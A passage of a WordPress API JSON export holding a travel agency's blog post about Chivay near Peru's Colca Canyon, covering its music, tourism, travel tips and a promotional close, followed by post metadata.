srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/mirador-cruz-del-condor.jpg?resize=1024%2C508&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/mirador-cruz-del-condor.jpg?resize=300%2C149&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/mirador-cruz-del-condor.jpg?resize=768%2C381&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/mirador-cruz-del-condor.jpg?w=1108&amp;ssl=1 1108w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>For water lovers, kayaking the Colca River\u2019s gentle rapids is a splashy blast. Although these activities support local guides, your soles help families.\u00a0<\/p>\n\n\n\n<p>Pack quick-dry shorts, sturdy sneakers, and a water bottle\u2014the Andean sun\u2019s a scorcher, and you\u2019ll want to stay hydrated while dodging rogue llama spit!<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chivay\u2019s Beat: Music That Lifts the Soul<\/strong><\/h2>\n\n\n\n<p>Chivay\u2019s music is pure magic, blending Andean soul with Spanish flair. Picture a quena flute\u2019s haunting wail or a charango\u2019s twangy strum floating through the <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong>Plaza de Armas<\/strong><\/a> at dusk.&nbsp;<\/p>\n\n\n\n<p>The upbeat huayno gets toes tapping during the Virgin Immaculate Conception festival, with locals in embroidered vests spinning to the rhythm.&nbsp;<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?resize=697%2C465&#038;ssl=1\" alt=\"Andean women dancing wititi in Chivay main square\" class=\"wp-image-15457\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?resize=1536%2C1025&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?w=2000&amp;ssl=1 2000w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/danza-wititi-arequipa-full.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure><\/div>\n\n\n<p>Pop into Pe\u00f1a La Estancia for a night of \u201ctinku\u201d\u2014a half-dance, half-playfight performance that\u2019s as lively as it sounds. These tunes tell tales of love, harvests, and \u201capus\u201d.&nbsp;<\/p>\n\n\n\n<p>Record a clip (ask first!) or clap along; locals love it when visitors join the vibe. Pack earbuds to replay your videos later\u2014you\u2019ll want to relive Chivay\u2019s soundtrack under the Andean stars.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Chivay Today: Tourism with Soul<\/strong><\/h2>\n\n\n\n<p>With over 300,000 visitors a year, Chivay has embraced tourism without losing its roots. You\u2019ll find boutique hotels, cozy hostels, and eateries serving everything from cuy to vegetarian quinoa bowls.&nbsp;<\/p>\n\n\n\n<p>For example, the town\u2019s 5,000 residents keep traditions alive, weaving alpaca wool, dancing wititi, and sharing stories in Quechua.&nbsp;<\/p>\n\n\n\n<p>Community spirit shines in local cooperatives, where women sell handmade textiles, and farmers supply markets with organic quinoa and potatoes.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"392\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?resize=697%2C392&#038;ssl=1\" alt=\"Two elder women wearing Chivay's typical costume.\" class=\"wp-image-15447\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?resize=1024%2C576&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?resize=300%2C169&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?resize=768%2C432&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?resize=1536%2C864&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/20160804_065643-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>Getting to Chivay is a scenic 3-4 hour drive from Arequipa through volcanic plains. Buses, vans, or guided tours are your best bet\u2014skip ultra-cheap options for safety. In town, walk or hop a moto-taxi for short trips.&nbsp;<\/p>\n\n\n\n<p>Bring cash (soles), as cards are rare, and pack sunscreen, a hat, and layers for the altitude and weather swings. If you\u2019re canyon-bound, book a guide for treks and check weather conditions, especially in the wet season.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Why Chivay Wins You Over<\/strong><\/h2>\n\n\n\n<p>In Conclusion, Chivay isn\u2019t just a stop on the way to Colca Canyon\u2014it\u2019s a destination with heart. Its history, from pre-Inca terraces to colonial churches, tells a story of resilience.&nbsp;<\/p>\n\n\n\n<p>Its festivals, food, and traditions invite you into a living culture. And its landscapes, from hot springs to canyon cliffs, leave you speechless.&nbsp;<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<p>So, grab some coca tea, bundle up for the Andean chill, and let Chivay show you why it\u2019s one of Peru\u2019s most unforgettable towns. Finally, or Chivay, Lake Titicaca, Cusco, and more, choose <strong>Viagens Machu Picchu<\/strong>!<\/p>\n\n\n\n<p>Don\u2019t hesitate to <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact us<\/a><\/strong>, so you can get more info about what we do! The adventure in Chivay and Peru awaits!<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu:<\/em><\/strong>&nbsp;<strong>Journeys<em>&nbsp;that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>High in Peru\u2019s Andes, Chivay is a cultural gem and the gateway to Colca Canyon. With ancient roots, lively festivals, hot springs, hearty food, and stunning scenery, it blends tradition and tourism into a must-visit Andean adventure.<\/p>\n","protected":false},"author":1,"featured_media":15448,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[1630,202,194],"tags":[5454,5456,1359,2360,5457,2168,2813,1660,5455,1275,1636,3601,1755,1320],"class_list":["post-15031","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-advice","category-arequipa","category-destinations","tag-andean-condors","tag-chivay-is-located","tag-colca-canyon","tag-colca-valley","tag-condor-viewpoint","tag-cruz-del-condor-2","tag-deepest-canyons","tag-hot-springs","tag-la-calera","tag-lake-titicaca","tag-sea-level","tag-small-town","tag-snow-capped","tag-thermal-baths"],"aioseo_notices":[],"jetpack_featured_media_url":"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/05\/14666245092_0e6eaf692a_h.jpg?fit=1599%2C1066&ssl=1","jetpack_shortlink":"https:\/\/wp.me\/pg0r71-3Ur","jetpack_sharing_enabled":true,"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15031","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/comments?post=15031"}],"version-history":[{"count":6,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15031\/revisions"}],"predecessor-version":[{"id":18007,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/posts\/15031\/revisions\/18007"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media\/15448"}],"wp:attachment":[{"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/media?parent=15031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/categories?post=15031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.viajesmachupicchu.travel\/en\/wp-json\/wp\/v2\/tags?post=15031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}